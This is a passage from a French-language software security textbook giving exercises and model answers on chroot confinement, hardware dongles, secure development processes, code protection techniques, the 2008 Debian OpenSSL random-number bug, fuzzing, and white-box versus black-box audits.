en 2008, une vulnérabilité très sérieuse a été introduite dans le code source du logiciel OpenSSL, suite à l’utilisation de l’outil valgrind. Décrire brièvement la nature de la vulnérabilité. Quelle ont été les conséquences de cette vulnérabilité? Quelles conclusions peut-on tirer de cet événement? Solution p.357 Exercice 133 : Efficacité du fuzzing Expliquer en quelques phrases pourquoi un outil de fuzzing injectant des valeurs complètement (pseudo-)aléatoires sera moins efficace pour trouver des vulnérabilités dans une application qu’un outil exploitant la connaissance du protocole de communication avec cette application. Solution p.358 Exercice 134 : Vérification en boîte blanche ou noire Le responsable de la sécurité d’une application Web, lors de la phase de vérification, hésite entre effectuer une revue de code de type boîte blanche, c’est-à -dire en offrant l’accès au code source et à toute la documentation disponible à l’auditeur, ou de type boîte noire, c’est-à -dire en ne lui offrant qu’un accès distant. Quels sont les éléments de décision qui pourraient aider cette personne ? Solution p.358 Corrigés des exercices Corrigé 127 : Appel système chroot( ) Sous Unix, ou ses dérivés, l’appel système chroot ( ) permet de modifier la racine du système de fichiers visible par un processus. L’idée est de confiner un processus à un sous-ensemble du système de fichiers, on pourrait configurer un serveur Web dans le répertoire /var/run/httpd-jail, par exemple, ce répertoire devenant la racine du système de fichiers vu par le serveur Web. On devra de plus y copier les quelques librairies dynamiques nécessaires à son exécution, ainsi que les fichiers de configurations idoines, en plus des données à servir. En cas d’exploitation d’une vulnérabilité dans le serveur Web, et pour autant que ce dernier ne tourne pas avec les droits d’administrateur, l’attaquant sera confiné dans ce répertoire, et il n’aura pas la possibilité d’accéder au reste de l’arborescence. A noter qu’il existe d’autres mécanismes plus évolués, mais plus compliqués à mettre en œuvre, pour atteindre les mêmes buts, comme SELinux, par exemple, dans le monde Linux. Un serveur Web n’a souvent besoin de privilèges élevés que pour s’attacher à un port privilégié, comme les ports TCP 80 et 443. Une fois cette opération effectuée, il peut, grâ ce à l’appel système setuidQ, renoncer à ces privilèges. Corrigé 128 : Sentinelle matérielle Une idée possible consisterait à exécuter l’algorithme sensible sur le composant matériel, et d’utiliser ce dernier comme un serveur, en quelque sorte. Ainsi, le code exécutable de l’algorithme resterait stocké de manière sécurisée sur la sentinelle, et il serait plus difficile d’en effectuer le reverse engineering. S’il n’est pas possible, pour des raisons de performance, par exemple, d’exécuter la totalité de l’algorithme sur la sentinelle, on pourrait imaginer identifier des parties nécessaires à son exécution et les faire tourner sur le composant. Les activités de reverse engineering sur du logiciel ou du matériel sont des activités sensiblement différentes. Tandis que dans le monde logiciel, il existe de nombreux outils facilement disponibles et très puissants, le reverse engineering matériel exige des équipements lourds, tels que FIBs, microscopes électroniques, etc., ainsi que des connaissances spécifiques en micro-électronique. Il est donc beaucoup plus coû teux, à ce jour, d’attaquer un composant matériel sécurisé qu’un logiciel, aussi bien protégé soit-il. Tandis qu’elles apportent une réponse quant à la sécurité du logiciel qu’elles protègent, les sentinelles arrivent avec quelques désavantages certains. On peut notamment citer le fait qu’elles ne peuvent offrir que des performances bien moindres qu’un ordinateur standard, qu’elles sont onéreuses, compliquées à distribuer à la clientèle et qu’elles sont souvent vues comme une complication à l’utilisation du logiciel qu’elles cherchent à protéger. Corrigé 129 : Processus de développement sécurisé Il est possible, et naturellement souhaitable, d’intégrer la gestion de la sécurité le plus tô t possible dans le processus de développement de cette application. Par exemple, on pourrait penser à appliquer le processus SDL dès la phase d’exigences, et ce, jusqu’à la phase de maintenance. Ceci implique néanmoins de dégager des ressources et de mettre du temps à disposition des équipes de développement, ainsi que des équipes spécialisées en revue de code et en tests d’intrusion. Une revue de code manuelle pourra concerner un volume de code moindre, car c’est une grande consommatrice en temps. Par contre, un relecteur expérimenté sera capable de déceler des problèmes de sécurité subtils, tels que des défauts de conception. De son cô té, un outil automatique permet de tester une très grande base de code de manière efficace ; ceci dit, il faudra de toute façon interpréter ses résultats et rester conscient qu’un outil automatique ne sera jamais capable de découvrir toutes les vulnérabilités existantes. Corrigé 130 : Techniques de protection logicielle 1. L’obfuscation logicielle consiste à transformer du code source ou du code binaire de façon à ce qu’il soit le plus incompréhensible possible pour le reverse engineer. Même si l’on ne connaît pas de techniques qui résisterait même aux attaquants les plus puissants, il est possible, à ce jour, d’obfusquer des programmes de façon à décourager la plupart des attaquants, ou à rendre l’opération de reverse engineering non-rentable. 2. Par nature, du code exécutable est réplicable à l’infini. Les techniques de tatouage de code visent à embarquer des marques individuelles dans chaque binaire distribué, de façon à ce que si un binaire se retrouve disséminé à large échelle de façon illégale, on puisse tracer la source de la fuite, et, le cas échéant, prendre des mesures légales ou techniques à son encontre. 3. Les techniques de tamper-proofing consistent à rendre le code difficilement modifiable, pour éviter par exemple qu’on ne puisse contourner facilement un système de licence. 4. Des techniques d’anti-débogage visent à rendre l’analyse dynamique d’un exécutable binaire la plus difficile possible. Par exemple, on peut imaginer que le programme, épisodiquement, essaie de détecter le fait qu’il soit débogué, ou émulé, ou qu’il tourne à vitesse très ralentie, ou dans une machine virtuelle, et de prendre, le cas échéant, les mesures nécessaires. 5. L’attestation à distance consiste à utiliser le fait qu’une application puisse être constamment connectée à un serveur, ce qui va permettre à ce dernier de vérifier que l’intégrité de l’application est conservée. 6. Un packer est un programme qui est capable de décompresser ou de déchiffrer un exécutable avant de l’exécuter. C’est un des moyens les plus simples pour empêcher le reverse engineering statique. Corrigé 131 : Groupe responsable de la sécurité Tout d’abord, on s’attend à ce qu’une équipe de développement soit avant tout compétente et efficace en développement, et il est ainsi difficile d’exiger que tous les développeurs soient également des experts en sécurité. De plus, une équipe spécialisée dans la sécurité peut agir de manière transversale, ce qui peut empêcher des conflits d’intérêts. Enfin, une équipe dédiée pourra se concentrer exclusivement sur la sécurité, et ainsi gagner en efficacité. C’est Bill Gates lui-même, alors PDG de Microsoft, qui a lancé cet effort vers plus de sécurité dans les produits de son entreprise. Le fait que l’impulsion soit venue du haut de la hiérarchie a permis d’aligner l’entreprise entière vers ce but, et de valider implicitement les investissements nécessaires pour atteindre ce but. Notons que nous avons déjà vu au chapitre 1.4.3 que la norme ISO 27001 traitant de la gestion de la sécurité de l’information plaide aussi pour une implication forte de la direction d’entreprise dans les questions de sécurité. Corrigé 132 : Debian et les scanners de code 1. Le générateur pseudo-aléatoire cryptographique de la bibliothèque OpenSSL a été modifié par la personne qui en était responsable pour la distribution Debian. Plus précisément, il a effacé deux lignes de code, qui avaient été pointées, à raison, par l’outil valgrind comme utilisant des valeurs non-initialisées. En fait, ces valeurs étaient là pour ajouter des données imprédictibles au générateur pseudo-aléatoire. Le résultat était que ce générateur n’était plus initialisé que par une valeur de 15 bits. La vulnérabilité n’a pas été identifiée, et donc corrigée, pendant plus d’une année, ce qui fait que de nombreuses clefs cryptographiques ont été générées et utilisées durant cette période, alors qu’il était possible de les casser très facilement. Cet événement devrait subsister comme étant un exemple typique du fait qu’il ne faut pas faire une confiance aveugle dans un outil de scan de code, et qu’il faudra toujours investir un peu de temps pour en interpréter ses résultats. Corrigé 133 : Efficacité du fuzzing Le fuzzing consistant à envoyer des entrées malformées à une application dans le but de la faire planter, le but est de couvrir le plus possible de chemins d’exécution dans son code. Souvent, des données complètement aléatoires seront filtrées d’entrée de jeu, parce qu’elles ne respectent pas le format attendu par l’application, ce qui fait que seul ce premier mécanisme de filtrage sera testé, en réalité. Si le fuzzer est plus intelligent que cela, et qu’il est capable de communiquer avec l’application en respectant le format des entrées attendues, la probabilité qu’il puisse identifier des vulnérabilités enfouies profondément dans le code augmente significativement. Corrigé 134 : Vérification en boîte blanche ou noire Les deux approches ont leurs avantages et leurs inconvénients. Dans une approche de type boîte blanche, l’auditeur aura une meilleure vue sur l’architecture de l’application, et sera à même d’en identifier les aspects potentiellement problématiques rapidement. D’un autre cô té, il perd un peu en indépendance d’esprit, étant donné qu’il va s’imprégner de la même vision sécuritaire que l’équipe de développeurs. Le fait d’avoir à disposition le code source permet d’utiliser des scanners de code, ce qui peut être un avantage. Une approche de type boîte noire aura le désavantage d’être potentiellement moins efficace, car l’auditeur aura une vue moins détaillée de l’architecture sécuritaire de l’application. Néanmoins, il pourra laisser libre cours à son imagination et à sa créativité, ce qui pourrait se révéler plus fructueux pour découvrir des failles complètement inattendues par l’équipe de développement. Enfin, l’approche de type boîte noire est celle utilisée par les attaquants en pratique, ce qui met l’auditeur dans des conditions d’attaque réalistes. Il est également possible de combiner les deux approches, en commençant par une approche de type boîte noire, qui pourra dans un second temps être raffinée par une approche de type boîte blanche.